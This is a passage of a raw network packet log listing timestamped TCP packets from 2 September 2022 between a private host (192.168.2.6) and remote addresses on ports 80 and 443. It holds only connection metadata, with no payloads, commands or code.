Sep 2, 2022 14:02:34.539741039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539753914 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539772034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539783955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539809942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539835930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539861917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539874077 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539891958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539902925 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539931059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539958000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539983988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539997101 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.540014982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.540025949 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.540128946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.540155888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.540193081 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.540220976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.540241003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.540256977 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.540317059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.540345907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.540373087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.540384054 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.540405989 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.540414095 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.540676117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.540704966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.540731907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.540746927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.540771008 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.540779114 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.541018009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.541063070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.541111946 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.541148901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.541169882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.541184902 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.541433096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.541479111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.541572094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.541593075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.541604996 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.541615009 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.541646004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.541709900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.541749001 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.541858912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.541878939 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.541899920 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.542053938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542082071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542110920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542125940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.542143106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542154074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.542182922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542210102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542234898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542248964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.542264938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542279005 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.542305946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542332888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542360067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542372942 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.542391062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542402029 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.542551994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542577982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542601109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542615891 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.542629004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.542644024 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.542787075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543013096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543087959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.543102980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543121099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543138981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543148994 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.543173075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543186903 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.543200970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543210983 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.543224096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543239117 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.543667078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543694019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543715954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543732882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543746948 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.543770075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543785095 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.543802977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543812990 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.543836117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.543844938 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.543875933 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.543973923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.544157982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.544230938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.544255018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.544276953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.544284105 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.544302940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.544478893 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.544526100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.544550896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.544590950 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.544616938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.544632912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.544658899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.544745922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.544790983 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.544810057 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.544833899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.544851065 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.544861078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.544873953 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.545056105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.545078039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.545114040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.545125961 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.545136929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.545156002 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.545183897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.545315981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.545336962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.545353889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.545365095 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.545388937 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.545634985 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.545696020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.545751095 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.545773983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.545792103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.545819998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.546016932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.546072960 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.546089888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.546138048 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.546178102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.546195984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.546220064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.546230078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.546252966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.546268940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.546283007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.546293974 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.546309948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.546328068 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.573339939 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.573359013 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.573381901 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.573394060 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.573481083 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.573492050 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.573539972 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.573546886 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.573565006 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.573594093 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.573601007 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.573657036 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.573663950 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.573673964 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.573709965 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.573718071 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.573738098 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.573748112 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.573791027 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.573824883 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.575299025 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.575314045 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.575329065 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.575341940 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.575424910 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.575433016 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.575473070 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.575478077 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.575490952 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.575511932 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.575517893 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.575556993 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.575561047 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.575615883 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.575622082 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.575630903 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.575676918 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.575683117 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.575737953 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.575798035 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.575807095 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.575861931 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.583519936 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.583611012 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.779364109 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.779444933 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.783396959 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.783541918 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.003446102 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.003698111 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.110833883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.111282110 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.130888939 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.130914927 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.130939960 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.131025076 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.133728981 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.133764029 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.133780956 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.133845091 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.133877039 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.133912086 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.133919001 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.133924007 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.133961916 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.133970976 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.133992910 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.134032965 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.134793997 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.134814024 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.134836912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.134854078 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.134934902 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.134948015 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.134968042 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.135049105 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.135063887 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.135087967 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.135093927 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.135102034 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.135119915 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.135246992 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.135262966 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.135286093 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.135296106 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.135314941 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.135389090 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.135402918 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.135442972 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.135456085 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.135536909 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.135572910 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.135667086 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.136023998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.137868881 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.137896061 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.137913942 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.137979984 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.137995958 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.137999058 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.138009071 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.138017893 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138026953 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.138035059 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.138103008 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.138107061 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.138119936 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138134003 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.138144970 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.138156891 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.138169050 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138179064 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.138192892 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138200045 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.138201952 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.138212919 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138216019 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.138237000 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138261080 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.138268948 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.138305902 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.138309002 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.138312101 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.138344049 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138346910 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.138350964 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.138381004 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138394117 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138410091 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.138421059 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.138458014 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.138458967 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.138477087 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138537884 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.138541937 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.138560057 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138576031 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.138582945 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.138595104 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138613939 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.138624907 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138643026 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.138650894 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138668060 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.138676882 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138701916 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.138747931 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.138761997 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.138910055 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.161952972 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.161973953 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.162003994 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.162023067 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.162117958 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.162134886 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.162163973 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.162198067 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.162209988 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.162235022 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.162244081 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.162276030 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.162286043 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.162322998 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.162353039 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.162365913 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.162386894 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.162401915 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.162420988 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.162441015 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.162482977 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.164988041 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.165011883 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.165060043 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.165112019 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.165179968 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.166109085 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.166148901 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.166182995 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.166214943 CEST	443	49807	95.142.206.0	192.168.2.6
